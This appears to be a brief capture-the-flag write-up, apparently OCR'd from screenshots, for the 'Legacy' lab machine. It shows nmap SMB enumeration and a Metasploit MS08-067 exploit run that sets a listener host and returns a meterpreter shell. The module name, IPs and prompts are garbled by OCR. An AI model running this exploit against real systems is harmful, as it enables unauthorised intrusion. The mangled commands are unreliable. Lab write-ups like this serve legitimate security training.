Joe Grassl

Legacy

1. Nmap gives me just SMB and a closed RDP port.

Nmap done: 1 IP addres
rootBhost:delta$ [|

eltaBhost

3. | tweaked the SMB config to allow legacy protocols. Now the machine
name makes sense.

=

[global]

client min protocol
client max protocol

4. Better, but I'm still not able to log in.




5. Scanning the SMB server with nmap scripts shows that this version is
open to a couple vulnerabilities, including the infamous EternalBlue exploit.
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7. There were also some exploits available for the other vulnerability found
by nmap, which is nine years older than EternalBlue.
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8. Metasploit has one, too. It works!

(windows/smb/msB8_B67_netapi)
18.10.4
windows/smb/msBB8_B67_netapi) > set Lhost 18.18.14.24
> 10.10 .14 24
oit(windows/smb/ms@8_867_netapi) > run
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meterpreter > ||

user.txt

Name
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